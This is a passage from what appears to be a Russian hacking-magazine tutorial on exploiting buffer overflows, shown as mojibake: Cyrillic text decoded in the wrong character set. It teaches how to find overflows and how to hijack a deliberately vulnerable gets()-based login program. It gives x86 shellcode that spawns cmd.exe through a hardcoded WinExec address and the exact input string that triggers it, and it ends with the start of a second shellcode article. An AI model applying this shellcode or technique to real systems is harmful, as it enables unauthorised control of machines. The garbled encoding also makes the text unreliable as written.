ùå âñåãî îí ìàçàë è ðîíÿë ìàøèíó, íå
ïðîèçâîäÿ çàðàæåíèÿ. È, íàêîíåö, òðå-
òèé âàðèàíò: åñëè àòàêóþùèé ìîæåò
âîçäåéñòâîâàòü íà ñòàòè÷åñêèå áóôå-
ðà, ðàñïîëîæåííûå â ñåãìåíòå äàííûõ
(à èõ àäðåñ ïîñòîÿíåí), òî ïåðåäàòü
ñþäà óïðàâëåíèå íå ñîñòàâèò òðóäà.
Âåäü shell-êîä è íå ïîäïèñûâàëñÿ ðàñ-
ïîëàãàòüñÿ èìåííî â ïåðåïîëíÿþùåì-
ñÿ áóôåðå - îí ìîæåò áûòü ãäå óãîäíî.
Ïðàâäà, íå ôàêò, ÷òî ïðè ïåðåïîëíå-
íèè áóôåðà ôóíêöèÿ äîæèâåò äî âîç-
âðàùåíèÿ, âåäü âñå ðàñïîëàãàþùèåñÿ
çà åãî êîíöîì ïåðåìåííûå îêàæóòñÿ
èñêàæåíû! Êñòàòè ãîâîðÿ, ïîìèìî àä-
ðåñà âîçâðàòà òàì ãíåçäÿòñÿ ïîë÷èùà
ïðî÷èõ ñëóæåáíûõ ñòðóêòóð, íî ðàñ-
ñêàçàòü î íèõ â ðàìêàõ æóðíàëüíîé
ñòàòüè íåò íèêàêîé âîçìîæíîñòè.

Ñ êó÷åé âñå îáñòîèò çíà÷èòåëüíî
ñëîæíåå. Íå óãëóáëÿÿñü â òåõíè÷åñêèå
äåòàëè ðåàëèçàöèè ìåíåäæåðà äèíà-
ìè÷åñêîé ïàìÿòè, ìîæíî ñêàçàòü, ÷òî ñ
êàæäûì áëîêîì âûäåëåííîé ïàìÿòè
ñâÿçàíî, ïî ìåíüøåé ìåðå, äâå ñëó-
æåáíûõ ïåðåìåííûõ: óêàçàòåëü (èí-
äåêñ) íà ñëåäóþùèé áëîê è ôëàã çàíÿ-
òîñòè áëîêà, ðàñïîëîæåííûå ëèáî ïå-
ðåä âûäåëÿåìûì áëîêîì, ëèáî ïîñëå
íåãî, ëèáî âîîáùå â äðóãîì ìåñòå. Ïðè
îñâîáîæäåíèè áëîêà ïàìÿòè ôóíêöèÿ
free ïðîâåðÿåò ôëàã çàíÿòîñòè ñëåäó-
þùåãî áëîêà è, åñëè îí ñâîáîäåí, ñëè-
âàåò îáà áëîêà âîåäèíî, îáíîâëÿÿ
"íàø" óêàçàòåëü. À ãäå óêàçàòåëü, òàì
ïðàêòè÷åñêè âñåãäà åñòü è POKE. Òî
åñòü, çàòèðàÿ äàííûå çà êîíöîì âûäå-
ëåííîãî áëîêà ñòðîãî äîçèðîâàííûì

îáðàçîì, ìû ïîëó÷àåì âîçìîæíîñòü
ìîäèôèöèðîâàòü ëþáóþ ÿ÷åéêó ïàìÿ-
òè óÿçâèìîé ïðîãðàììû ïî ñâîåìó óñ-
ìîòðåíèþ, íàïðèìåð, ïåðåíàïðàâèòü
êàêîé-íèáóäü óêàçàòåëü íà shell-êîä.

Î ÒÅÕÍÈÊÅ ÏÎÈÑÊÀ
ÇÀÌÎËÂÈÒÅ ÑËÎÂÎ

Ïîèñê ïåðåïîëíÿþùèõñÿ áóôåðîâ
ïî ñòåïåíè íàêàëà ñòðàñòåé ìîæíî
ñðàâíèòü ðàçâå ÷òî ñ ïîèñêîì êëàäà.
Íàëè÷èå èñõîäíûõ òåêñòîâ íåâåðîÿòíî
óïðîùàåò íàøó çàäà÷ó, íî íå ïðåäà-
âàéñÿ íàïðàñíûì èëëþçèÿì: ïåðåïîë-
íÿþùèåñÿ áóôåðà èùåøü íå òû îäèí,
âñå äîñòóïíûå èñõîäíèêè äàâíûì-äàâ-
íî çà÷èòàíû äî äûð, è íàéòè òàì ÷òî-òî
íîâîå íåâåðîÿòíî ñëîæíî. Äèçàññåìá-
ëèðîâàíèå, êîíå÷íî, ïîñëîæíåå áóäåò
(îñîáåííî íà ïåðâûõ ïîðàõ), çàòî è
øàíñû îòêðûòü íîâóþ äûðó çíà÷è-
òåëüíî âîçðàñòàþò.

×åì øèðå ðàñïðîñòðàíåíî óÿçâèìîå
ïðèëîæåíèå (îïåðàöèîííàÿ ñèñòåìà),
òåì áîëüøóþ âëàñòü òåáå äàäóò ïåðå-
ïîëíÿþùèåñÿ áóôåðà. Äîñòàòî÷íî
âñïîìíèòü íàøóìåâøóþ èñòîðèþ ñ
äûðîé â DCOM, îòêðûòîé çàäîëãî äî
åå îôèöèàëüíîãî îáíàðîäîâàíèÿ.
Ïðèêèíü: ìèëëèîíû òà÷åê ñ Windows
NT ïî âñåìó ìèðó, è âñå - òâîè. Ïðàâäà,
òóò íå âñå ãëàäêî. Windows è äðóãèå
ïîïóëÿðíûå ñèñòåìû íàõîäÿòñÿ ïîä
ïðèñòàëüíûì âíèìàíèåì òûñÿ÷ ñïåöè-
àëèñòîâ è òâîèõ êîëëåã-õàêåðîâ. Êîðî-
÷å ãîâîðÿ, çäåñü äóøíî. 

Ëó÷øå áðàòü êàêîé-íèáóäü ìàëîèçâå-
ñòíûé êëîí UNIX'à èëè ïî÷òîâûé ñåð-
âåð, íàïèñàííûé äÿäåé Âàíåé íà êî-
ëåíêàõ, - îí âîîáùå íèêåì ïðîòåñòèðî-
âàí íå áûë. Òàêèõ çíà÷èòåëüíî áîëü-
øå, ÷åì ñïåöèàëèñòîâ! Íó è ÷òî ñ òîãî,
÷òî îíè óñòàíîâëåíû íà ñîòíå-äðóãîé
ìàøèí âî âñåì ìèðå? Âïîëíå õâàòèò
ïðîñòðàíñòâà, ÷òîáû ïîõàêåðñòâîâàòü.

Ñîáñòâåííî ãîâîðÿ, ìåòîäèê ïîèñêà
ïåðåïîëíÿþùèõñÿ áóôåðîâ âñåãî äâå,
è îáå îíè ïîðî÷íû è íåïðàâèëüíû. Îä-
íà èç íèõ, ïðîñòàÿ è íå ñëèøêîì óì-

íàÿ, - ìåòîäè÷íî ñêàðìëèâàòü èññëåäó-
åìîìó ñåðâèñó òåêñòîâûå ñòðîêè ðàç-
ëè÷íîé äëèíû è ñìîòðåòü, êàê îí íà
íèõ îòðåàãèðóåò. Óïàäåò - çíà÷èò ïåðå-
ïîëíÿþùèéñÿ áóôåð îáíàðóæåí. Ðà-
çóìååòñÿ, ýòà òåõíîëîãèÿ íå âñåãäà äà-
åò îæèäàåìûé ðåçóëüòàò: ìîæíî ïðîé-
òè îò çäîðîâåííîé äûðû â äâóõ øàãàõ
è íè÷åãî íå çàìåòèòü. Äîïóñòèì, ñåð-
âåð îæèäàåò óðë. Îí íàèâíî ïîëàãàåò,
÷òî èìÿ ïðîòîêîëà (íó òàì http èëè ftp)
íå ìîæåò ñîñòîÿòü áîëüøå ÷åì èç ÷å-
òûðåõ áóêâ; ÷òîáû ïåðåïîëíèòü áó-
ôåð, äîñòàòî÷íî áóäåò ïîñëàòü åìó
íå÷òî âðîäå httttttttp://fuckyour.com. Îáðà-
òèòå âíèìàíèå: http://fuuuuuuuuuuuuuucky-
our.com óæå íå ñðàáîòàåò! À îòêóäà ìû
çàðàíåå ìîæåò çíàòü, ÷òî èìåííî çà-
áûë ïðîêîíòðîëèðîâàòü ïðîãðàììèñò?
Ìîæåò, îí ïîíàäåÿëñÿ, ÷òî ñëýøåé íè-
êîãäà íå áûâàåò áîëüøå äâóõ? Èëè
÷òî äâîåòî÷èå ìîæåò áûòü òîëüêî îä-
íî? Ïåðåáèðàÿ âñå âàðèàíòû âñëåïóþ,
ìû âçëîìàåì ñåðâåð íå ðàíüøå, ÷åì
íàñòóïèò êîíåö ñâåòà, êîãäà ýòî óæå
áóäåò íåàêòóàëüíî. À âåäü áîëüøèí-
ñòâî "ñåðüåçíûõ" çàïðîñîâ ñîñòîèò èç
ñîòåí ñëîæíî âçàèìîäåéñòâóþùèõ
äðóã ñ äðóãîì ïîëåé, è ìåòîä ïåðåáîðà
çäåñü ñòàíîâèòñÿ áåññèëåí! Âîò òîãäà-
òî íà ïîìîùü è ïðèäåò ñèñòåìàòè÷åñ-
êèé àíàëèç.

Òåîðåòè÷åñêè äëÿ ãàðàíòèðîâàííîãî
îáíàðóæåíèÿ âñåõ ïåðåïîëíÿþùèõñÿ
áóôåðîâ äîñòàòî÷íî ïðîñòî ïîñòðî÷-
íî âû÷èòàòü âåñü ñûðåö ïðîãðàììû
(äèçàññåìáëåðíûé ëèñòèíã) íà ïðåä-
ìåò ïðîïóùåííûõ ïðîâåðîê. Ïðàêòè-
÷åñêè æå âñå óïèðàåòñÿ â ÷óäîâèùíûé
îáúåì êîäà, êîòîðûé ÷èòàòü - íå ïåðå-
÷èòàòü. Ê òîìó æå, íå âñÿêàÿ îòñóòñòâó-
þùàÿ ïðîâåðêà - óæå äûðà. Ðàññìîò-
ðèì ñëåäóþùèé êîä:

Åñëè äëèíà ñòðîêè src ïðåâûñèò 0x10
ñèìâîëîâ, áóôåð ïðîëîìèò ñòåíó è çàò-
ðåò àäðåñ âîçâðàòà. Âåñü âîïðîñ â òîì,
ïðîâåðÿåò ëè ìàòåðèíñêàÿ ôóíêöèÿ
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"Îáðàç
Ìûøëåíèÿ
ÈÄÀ" Êðèñà
Êàñïåðñêè -
ñïðàâî÷íèê
ïî ÿçûêó
ÈÄÀ-Ñè.
Åñëè âû èñ-
ïîëüçóéòå
äèçàññåìá-
ëåð IDA, òî
ýòà êíèãà -
äëÿ âàñ.

www.phrack.
org - ëó÷-
øèé ýëåêò-
ðîííûé
æóðíàë, â
êîòîðîì òû
íàéäåøü
ìíîæåñòâî
ñòàòåé, â
òîì ÷èñëå è
ïî ñðûâó
ñòåêà.

Óñòðîéñòâî áëîêîâ äèíàìè÷åñêîé ïàìÿòè (âñå ïîäïèñè ñîîòâåòñòâóþò îäíîèìåííûì ïî-
ëÿì ñëóæåáíûõ ñòðóêòóð, ïîýòîìó äàþòñÿ áåç ïåðåâîäà)

Èñïîëüçîâàíèå NOP'îâ äëÿ îáëåã÷åíèÿ ïîïàäàíèÿ â ãðàíèöû shell-êîäà

ÇÎÎÏÀÐÊ ÏÅÐÅÏÎËÍßÞÙÈÕÑß ÁÓÔÅÐÎÂ 10 ÏÐÎËÎÃ

Ðàçðàáîòêà
ýêñïëîèòîâ
òðåáóåò èí-
æåíåðíîãî
îáðàçà
ìûøëåíèÿ è
îáøèðíûõ
çíàíèé.

f(char *src)
{
char buf[0x10];
strcpy(buf, src);
...

}

ÊÎÄ #8



äëèíó ñòðîêè src ïåðåä åå ïåðåäà÷åé
èëè íåò. Äàæå åñëè ÿâíûõ ïðîâåðîê
íåò, íî ñòðîêà ôîðìèðóåòñÿ òàêèì îá-
ðàçîì, ÷òî îíà ãàðàíòèðîâàííî íå ïðå-
âûñèò îòâåäåííîé åé âåëè÷èíû (à ôîð-
ìèðîâàòüñÿ îíà ìîæåò è â ïðàìàòåðè-
íñêîé ôóíêöèè), òî íèêàêîãî ïåðåïîë-
íåíèÿ áóôåðà íå ïðîèçîéäåò è óñèëèÿ
íà àíàëèç áóäóò ïîòðà÷åíû âïóñòóþ.

Êîðî÷å ãîâîðÿ, ïðåäñòîèò ìíîãî êðî-
ïîòëèâîãî òðóäà. Êîå-êàêóþ èíôîðìà-
öèþ íà ýòîò ñ÷åò ìîæíî ïî÷åðïíóòü èç
ìîèõ "Çàïèñîê èññëåäîâàòåëÿ êîìïüþ-
òåðíûõ âèðóñîâ", íî ìàëî. Ïîèñê ïåðå-
ïîëíÿþùèõñÿ áóôåðîâ î÷åíü òðóäíî
ôîðìàëèçîâàòü è ïðàêòè÷åñêè íåâîç-
ìîæíî àâòîìàòèçèðîâàòü. Microsoft
âêëàäûâàåò â òåõíîëîãèè ñîâåðøåí-
ñòâîâàíèÿ àíàëèçà ìèëëèàðäû äîëëà-
ðîâ, íî âçàìåí ïîëó÷àåò ôèãó. ×òî æå
òîãäà âû îò áåäíîãî (âî âñåõ îòíîøå-
íèÿ) ìûùúõ'à õîòèòå?

Àíàëèçèðîâàòü ñëåäóåò, â ïåðâóþ
î÷åðåäü, òå áóôåðà, íà êîòîðûå ìîæíî
òàê èëè èíà÷å âîçäåéñòâîâàòü. Îáû÷-
íî ýòî áóôåðà, ñâÿçàííûå ñ ñåòåâûìè
ñåðâèñàìè, òàê êàê ëîêàëüíûé âçëîì
ãîðàçäî ìåíåå èíòåðåñåí.

ÏÅÐÅÏÎËÍÅÍÈÅ ÍÀ ÏÐÀÊÒÈÊÅ
Òåïåðü, ñëåãêà îçíàêîìèâøèñü ñ

òåîðåòè÷åñêîé ÷àñòüþ, ìû ïîïðàêòè-
êóåìñÿ - óðîíèì áóôåð. Îòêîìïèëèðó-
åì ñëåäóþùèé äåìîíñòðàöèîííûé
ïðèìåð (à åùå ëó÷øå, âîçüìåì ãîòî-
âûé èñïîëíÿåìûé ôàéë ñ äèñêà) è çà-
ïóñòèì åãî íà âûïîëíåíèå.

Ïðîãðàììà ñïðàøèâàåò ó íàñ ëîãèí
è ïàðîëü. Ðàç ñïðàøèâàåò, çíà÷èò êî-
ïèðóåò â áóôåð, à òóò è äî ïåðåïîë-
íåíèÿ íåäàëåêî. Ââîäèì "AAAA"
(ìíîãî áóêâ "A") â êà÷åñòâå èìåíè è
"BBBBB" â êà÷åñòâå ïàðîëÿ. Ïðîã-
ðàììà íåìåäëåííî ïàäàåò, ðåàãèðóÿ
íà ýòî êðèòè÷åñêîé îøèáêîé ïðèëî-
æåíèÿ. Àãà, çíà÷èò, ïåðåïîëíåíèå âñå-
òàêè åñòü! Ïðèñìîòðèìñÿ ê íåìó âíèìà-

òåëüíåå: Windows ãîâîðèò, ÷òî
"èíñòðóêöèÿ ïî àäðåñó 0x41414141 îáðà-
òèëàñü ê ïàìÿòè ïî àäðåñó 0x41414141".
Îòêóäà îíà âçÿëà 0x41414141? Ïîñòîé-
òå, äà âåäü 0x41 - ýòî øåñòíàäöàòåðè÷-
íûé ASCII-êîä áóêâèöû "A". Çíà÷èò, âî-
ïåðâûõ, ïåðåïîëíåíèå ïðîèçîøëî â
áóôåðå ëîãèíà, à âî-âòîðûõ, äàííûé
òèï ïåðåïîëíåíèÿ äîïóñêàåò ïåðåäà÷ó
óïðàâëåíèÿ íà ïðîèçâîëüíûé êîä, ïîñ-
êîëüêó ðåãèñòð - óêàçàòåëü êîìàíä ïå-
ðåìåòíóëñÿ íà ñîäåðæàùèéñÿ â õâîñòå
áóôåðà àäðåñ. Ñëó÷àéíûì îáðàçîì ïî
àäðåñó 0x41414141 îêàçàëñÿ ðàñïîëî-
æåí áåññìûñëåííûé ìóñîð, âîçáóæäà-
þùèé ïðîöåññîð âïëîòü äî èñêëþ÷å-
íèÿ, íî ýòîìó ãîðþ ëåãêî ïîìî÷ü!

Äëÿ íà÷àëà íàì ïðåäñòîèò âûÿñ-
íèòü, êàêèå ïî ñ÷åòó ñèìâîëû ëîãèíà
ïîïàäàþò â àäðåñ âîçâðàòà. Â ýòîì
íàì ïîìîæåò ïîñëåäîâàòåëüíîñòü â
ñòèëå "qwerty...zxcvbnm", ââîäèì åå
è... ñèñòåìà ñîîáùàåò, ÷òî "èíñòðóê-
öèÿ ïî àäðåñó 0x7a6c6b6a îáðàòè-

Ñòàòèñòè÷åñêîå ðàñïðåäåëåíèå ðàçìåðà ïåðåïîëíÿþùèõñÿ áóôåðîâ, îáðàáàòûâàåìûõ
ðàçëè÷íûìè ôóíêöèÿìè

Ðåàêöèÿ ñèñòåìû íà ïåðåïîëíåíèå

#include <stdio.h>

root()

{
printf("your have a root!\n");

}

main()
{
char passwd[16]; char login[16];

printf("login :"); gets(login);
printf("passwd:"); gets(passwd);
if (!strcmp(login, "bob") &&

~strcmp(passwd,"god"))
printf("hello, bob!\n");

}

ÊÎÄ #9. ÍÀØ ÒÅÑÒÎÂÛÉ
ÑÒÅÍÄ



ëàñü ê ïàìÿòè". Çàïóñêàåì HIEW è íà-
áèâàåì ýòè "7A 6C 6B 6A" íà êëàâèà-
òóðå. Ïîëó÷àåòñÿ "zlkj". Çíà÷èò, â àä-
ðåñ âîçâðàòà ïîïàëè 17-é, 18-é, 19-é è
20-é ñèìâîëû ëîãèíà (íà àðõèòåêòóðå
x86 ìëàäøèé áàéò çàïèñûâàåòñÿ ïî
ìåíüøåìó àäðåñó, òî åñòü ìàøèííîå
ñëîâî, îáðàçíî âûðàæàÿñü, ñòàíîâèò-
ñÿ ê ëåñó ïåðåäîì, à ê íàì çàäîì).

Íàñêîðî äèçàññåìáëèðîâàâ ïðîã-
ðàììó (ñìîòðèì disasm.htm íà äèñêå),
ìû îáíàðóæèâàåì â íåé ïðåëþáîïûò-
íóþ ôóíêöèþ root, ñ ïîìîùüþ êîòî-
ðîé ìîæíî òâîðèòü ÷óäåñà. Äà âîò áå-
äà: ïðè íîðìàëüíîì ðàçâèòèè ñîáûòèé
îíà íèêîãäà íå ïîëó÷àåò óïðàâëåíèÿ.
Åñëè, êîíå÷íî, íå ïîäñóíóòü àäðåñ åå
íà÷àëà âìåñòî àäðåñà âîçâðàòà. À êà-
êîé ó root'à àäðåñ? Ñìîòðèì -
00401150h. Ïåðåòÿãèâàåì ìëàäøèå
áàéòû íà ìåíüøèå àäðåñà è ïîëó÷àåì
50 11 40 00. Èìåííî â òàêîì âèäå àä-
ðåñ âîçâðàòà õðàíèòñÿ â ïàìÿòè. Õî-
ðîøî, ÷òî íîëü â íåì âñòðåòèëñÿ
ëèøü îäíàæäû, àêêóðàò îêàçàâøèñü
íà åãî êîíöå. Ïóñòü îí è áóäåò òåì íó-
ëåì, ÷òî ñëóæèò çàâåðøèòåëåì âñÿêîé
ASIIZ-ñòðîêè. Ñèìâîëàì ñ êîäàìè 50h
è 40h ñîîòâåòñòâóþò áóêâèöû "P" è
"@". Ñèìâîëó ñ êîäîì 11h ñîîòâåòñòâó-
åò êîìáèíàöèÿ <Ctrl-Q> èëè <Alt>+<0, 1,
7> (íàæìèòå Alt, ââåäèòå íà öèôðîâîé
êëàâèàòóðå 0, 1 è 7, îòïóñòèòå Alt).

Çàäåðæàâ äûõàíèå, âíîâü çàïóñêàåì
ïðîãðàììó è ââîäèì
"qwertyuiopasdfghP^Q@", ïàðîëü
ìîæíî ïðîïóñòèòü. Ñîáñòâåííî ãîâî-
ðÿ, ñèìâîëû "qwertyuiopasdfgh" ìîãóò
áûòü ëþáûìè, ãëàâíîå, ÷òîáû "P^Q@"
ðàñïîëàãàëèñü â 17-é, 18-é è 19-é ïîçè-
öèÿõ. Íóëü, çàâåðøàþùèé ñòðîêó,
ââîäèòü íå íàäî: ôóíêöèÿ gets çàñó-
íåò åãî ñàìîñòîÿòåëüíî.

Åñëè âñå ñäåëàíî ïðàâèëüíî, òî ïðîã-
ðàììà ïîáåäîíîñíî âûâåäåò íà ýêðàí
"Your have root", ïîäòâåðæäàÿ, ÷òî àòà-
êà ñðàáîòàëà. Ïðàâäà, ïî âûõîäå èç
root'à ïðîãðàììà íåìåäëåííî ãðîõíåò-
ñÿ, òàê êàê â ñòåêå íàõîäèòñÿ ìóñîð, íî
ýòî óæå íåâàæíî, âåäü ôóíêöèÿ root
îòðàáîòàëà è ñòàëà íå íóæíà.

Ïðîñòî ïåðåäàâàòü óïðàâëåíèå íà
ãîòîâóþ ôóíêöèþ íåèíòåðåñíî (òåì
áîëåå ÷òî òàêîé ôóíêöèè â àòàêóåìîé
ïðîãðàììå ìîæåò è íå áûòü). Íàìíîãî
áîëåå äåéñòâåííî çàñëàòü íà óäàëåí-
íóþ ìàøèíó ñâîé ñîáñòâåííûé shell-
êîä è òàì åãî èñïîëíèòü. 

Âîîáùå ãîâîðÿ, îðãàíèçîâàòü óäà-
ëåííûé shell íå òàê-òî ïðîñòî: íåîáõî-
äèìî, êàê ìèíèìóì, óñòàíîâèòü

TCP/UDP-ñîåäèíåíèå, ïîïóòíî îáìàíóâ
äîâåð÷èâûé firewall, ñîçäàòü ïàéïû,
ñâÿçàòü èõ äåñêðèïòîðàìè ââîäà/âûâî-
äà òåðìèíàëüíîé ïðîãðàììû, à ñàìîìó
ðàáîòàòü äèñïåò÷åðîì, ãîíÿÿ äàííûå
ìåæäó ñîêåòàìè è ïàéïàìè. Íåêîòîðûå
ïûòàþòñÿ ïîñòóïèòü ïðîùå, ïðîáóÿ
óíàñëåäîâàòü äåñêðèïòîðû, íî íà ýòîì
ïóòè èõ æäåò æåñòîêèé îáëîì, òàê êàê
äåñêðèïòîðû íå íàñëåäóþòñÿ è òàêèå
ýêñïëîèòû íå ðàáîòàþò. Äàæå è íå ïû-
òàéñÿ èõ îæèâèòü - âñå ðàâíî íå ïîëó-
÷èòñÿ. Åñëè ñðåäè ÷èòàòåëåé íàáåðåòñÿ
êâîðóì, ýòó òåìó ìîæíî áóäåò îñâåòèòü
âî âñåõ ïîäðîáíîñòÿõ, ïîêà æå îãðàíè-
÷èòñÿ ëîêàëüíûì shell'îì, íî è îí äëÿ
íåêîòîðûõ èç âàñ áóäåò ñâîåîáðàçíûõ
õàêåðñêèì ïîäâèãîì!

Âíîâü çàïóñêàåì íàøó äåìîíñòðàöè-
îííóþ ïðîãðàììó, ñðûâàåì áóôåð,
ââîäÿ ñòðîêó "AAA...", íî âìåñòî òîãî
÷òîáû íàæàòü "ÎÊ" â äèàëîãå êðèòè-
÷åñêîé îøèáêè ïðèëîæåíèÿ, äàâèì "îò-
ìåíó", çàïóñêàþùóþ îòëàä÷èê (äëÿ
ýòîãî îí äîëæåí áûòü óñòàíîâëåí).
Êîíêðåòíî íàñ áóäåò èíòåðåñîâàòü ñî-
äåðæèìîå ðåãèñòðà ESP â ìîìåíò ñáîÿ.
Íà ìîåé ìàøèíå îí ðàâåí 0012FF94h, ó
òåáÿ ýòî çíà÷åíèå ìîæåò îòëè÷àòüñÿ.
Ââîäèì ýòîò àäðåñ â îêíå äàìïà è,
ïðîêðó÷èâàÿ åãî ââåðõ/âíèç, íàõîäèì
íàøó ñòðîêó "ÀÀÀÀÀ". Â ìîåì ñëó÷àå
îíà ðàñïîëîæåíà ïî àäðåñó
0012FF80h.

Òåïåðü ìû ìîæåì èçìåíèòü àäðåñ
âîçâðàòà íà 12FF94h, è òîãäà óïðàâëå-
íèå áóäåò ïåðåäàíî íà ïåðâûé áàéò
ïåðåïîëíÿþùåãîñÿ áóôåðà. Îñòàåòñÿ
ëèøü ïîäãîòîâèòü shell-êîä. ×òîáû
âûçâàòü êîìàíäíûé èíòåðïðåòàòîð â
îñÿõ ñåìåéñòâà NT, íåîáõîäèìî äàòü
êîìàíäó WinExec("CMD", x). Â 9x òàêî-
ãî ôàéëà íåò, íî çàòî åñòü
command.com, êîòîðûé åñòü àíàõðî-
íèçì. Íà ÿçûêå àññåìáëåðà ýòîò âû-
çîâ ìîæåò âûãëÿäåòü òàê êàê íà
âðåçêå.

Çäåñü ìû èñïîëüçóåì öåëûé ðÿä õèò-
ðîñòåé è äîïóùåíèé, ïîäðîáíûé ðàç-
áîð êîòîðûõ òðåáóåò öåëîé êíèãè. Åñëè
ãîâîðèòü êðàòêî, òî 77E973CAh - ýòî
àäðåñ API-ôóíêöèè WinExec, æåñòêî
ïðîïèñàííûé â ïðîãðàììó è äîáûòûé
ïóòåì àíàëèçà ýêñïîðòà ôàéëà KER-
NEL32.DLL óòèëèòîé DUMPBIN. Ýòî
ãðÿçíûé è íåíàäåæíûé ïðèåì, òàê êàê
â êàæäîé âåðñèè îñè àäðåñ ôóíêöèè
ñâîé è ïðàâèëüíåå áûëî áû äîáàâèòü â
shell-êîä ïðîöåäóðó îáðàáîòêè ýêñïîð-
òà, îïèñàííóþ â ñëåäóþùåé ñòàòüå. Ïî-
÷åìó âûçûâàåìûé àäðåñ ïðåäâàðè-
òåëüíî çàãðóæàåòñÿ â ðåãèñòð EAX?

Ïîòîìó ÷òî call 077E973CAh íà ñàìîì
äåëå àññåìáëèðóåòñÿ â îòíîñèòåëüíûé
âûçîâ, ÷óâñòâèòåëüíûé ê ìåñòîïîëî-
æåíèþ call'à, ÷òî äåëàåò shell-êîä êðàé-
íå íåìîáèëüíûì.

Ïî÷åìó â èìåíè ôàéëà "CMD"
(020444D43h, ÷èòàåìîå â îáðàòíîì
ïîðÿäêå) ñòîèò ïðîáåë? Ïîòîìó ÷òî â
shell-êîäå íå ìîæåò ïðèñóòñòâîâàòü
ñèìâîë íóëÿ - îí ñëóæèò çàâåðøèòå-
ëåì ñòðîêè. Åñëè õâîñòîâîé ïðîáåë óá-
ðàòü, òî ïîëó÷èòñÿ 000444D43h, à ýòî
óæå íå âõîäèò â íàøè ïëàíû. Âìåñòî
ýòîãî ìû äåëàåì XOR eax, eax, îáíóëÿÿ
EAX íà ëåòó è çàïèõèâàÿ åãî â ñòåê äëÿ
ôîðìèðîâàíèÿ íóëÿ, çàâåðøàþùåãî
ñòðîêó "CMD ". Íî íåïîñðåäñòâåííî â
ñàìîì shell-êîäå ýòîãî íóëÿ íåò!

Ïîñêîëüêó â îòâåäåííûå íàì 16 áàéò
shell-êîä âëåçàòü íèêàê íå õî÷åò, à îï-
òèìèçèðîâàòü åãî óæå íåêóäà, ìû ïðè-
áåãàåì ê âûíóæäåííîé ðîêèðîâêå è
ïåðåìåùàåì shell-êîä â ïàðîëüíûé
áóôåð, îòñòîÿùèé îò àäðåñà âîçâðàòà
íà 32 áàéòà. Ó÷èòûâàÿ, ÷òî àáñîëþò-
íûé àäðåñ ïàðîëüíîãî áóôåðà ðàâåí
12FF70h (ó òåáÿ îí ìîæåò áûòü äðó-
ãèì!), shell-êîä áóäåò âûãëÿäåòü òàê
(ïðîñòî ïåðåâîäèì hex-êîäû â ASCII-
ñèìâîëû, ââîäÿ íåïå÷àòíûå áóêâèöû
÷åðåç alt+num):

login :1234567890123456<alt-112><alt-255><alt-18>
passwd:3<alt-192>PhCMD T<alt-184><alt-202>s<alt-

233>w<alt-255><alt-208><alt-235><254>

Ââîäèì ýòî â ïðîãðàììó. Ëîãèí ñðû-
âàåò ñòåê è ïåðåäàåò óïðàâëåíèå íà ïà-
ðîëüíûé áóôåð, ãäå ëåæèò shell-êîä. Íà
ýêðàíå ïîÿâëÿåòñÿ ïðèãëàøåíèå êîìà-
íäíîãî èíòåðïðåòàòîðà. Âñå! Òåïåðü ñ
ñèñòåìîé ìîæíî äåëàòü ÷òî óãîäíî! 

ÇÀÊËÞ×ÅÍÈÅ
Ïàðà îáùèõ ñîîáðàæåíèé íàïîñëå-

äîê. Ïåðåïîëíÿþùèåñÿ áóôåðà - íàñ-
òîëüêî èíòåðåñíàÿ òåìà, ÷òî åé, íå êî-

ëåáëÿñü, ìîæíî ïîñâÿòèòü âñþ æèçíü.
Íå îò÷àèâàéñÿ è íå ðàñêèñàé ïðè
âñòðå÷å ñ òðóäíîñòÿìè, ïåðâûå ïðîá-
ëåñêè óñïåõà ïðèäóò ëèøü ÷åðåç íåñ-
êîëüêî ëåò óïîðíîãî ÷òåíèÿ äîêóìåí-
òàöèè è áåñ÷èñëåííûõ ýêñïåðèìåíòîâ ñ
êîìïèëÿòîðàìè, äèçàññåìáëåðàìè è îò-
ëàä÷èêàìè. ×òîáû èçó÷èòü ïîâàäêè ïå-
ðåïîëíÿþùèõñÿ áóôåðîâ, ìàëî óìåòü
ëîìàòü, íåîáõîäèìî åùå è ïðîãðàììè-
ðîâàòü. Êîìó òîëüêî ïðèøëî â ãîëîâó
íàçâàòü õàêåðñòâî âàíäàëèçìîì?! Ýòî -
èíòåëëåêòóàëüíàÿ èãðà, òðåáóþùàÿ îã-
ðîìíîé ñîñðåäîòî÷åííîñòè è íåâåðîÿò-
íûõ óñèëèé. E
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Ïåðåïîëíÿ-
þùèåñÿ áó-
ôåðà ìîãóò
ðàñïîëà-
ãàòüñÿ â îä-
íîì èç òðåõ
ìåñò àäðåñ-
íîãî ïðîñò-
ðàíñòâà
ïðîöåññà:
ñòåêå, ñåã-
ìåíòå äàí-
íûõ è êó÷å.

Îñíîâíàÿ
ìàññà õà-
ëÿâíûõ
ýêñïëîèòîâ,
áëóæäàþ-
ùèõ ïî ñå-
òè, ñïðîåê-
òèðîâàíà ñ
ãðóáûìè,
êîíñòðóê-
òèâíûìè
îøèáêàìè è
íåðàáîòîñ-
ïîñîáíà â
ïðèíöèïå.
Òå æå èç
íèõ, ÷òî ðà-
áîòàþò,
îáû÷íî îã-
ðàíè÷èâà-
þòñÿ ëèøü
äåìîíñòðà-
öèåé óÿçâè-
ìîñòè, íî íå
äàþò íèêà-
êèõ ðû÷àãîâ
óïðàâëåíèÿ.

ÇÎÎÏÀÐÊ ÏÅÐÅÏÎËÍßÞÙÈÕÑß ÁÓÔÅÐÎÂ 12 ÏÐÎËÎÃ

Ïåðåäà÷à óïðàâëåíèÿ ôóíêöèè root

00000000: 33C0 xor eax,eax
00000002: 50 push eax
00000003: 68434D4420 push 020444D43 ;" DMC"
00000008: 54 push esp
00000009: B8CA73E977 mov eax,077E973CA ;"wesE"
0000000E: FFD0 call eax
00000010: EBFE jmps 000000010

ÊÎÄ #10. ÏÎÄÃÎÒÎÂÊÀ SHELL-ÊÎÄÀ





Êîâàëåíêî Äìèòðèé aka Ingrem (ingrem@list.ru)

Ï ðèâåò! Ñåãîäíÿ ÿ ðàññêàæó î òîì, êàê ãðàìîòíî ïèñàòü shell-êîä. Äîïóñòèì, òû íàøåë óÿçâèìîñòü. Óñòðîèë DoS?
Âåñåëî, íî íàñòîÿùèé õàêåð ñòðåìèòñÿ íå ê ðàçðóøåíèþ, à ê êîíòðîëþ, êîòîðûé ìîæíî ïîëó÷èòü òîëüêî ñ

ïîìîùüþ äîáðîòíîãî shell-êîäà. Îäíàêî ñäåëàòü ýòî íå òàê-òî ïðîñòî. Äàâàé ïîãîâîðèì îá ýòîì ïîäðîáíåå.

ÏÈØÅÌ SHELL-ÊÎÄ!
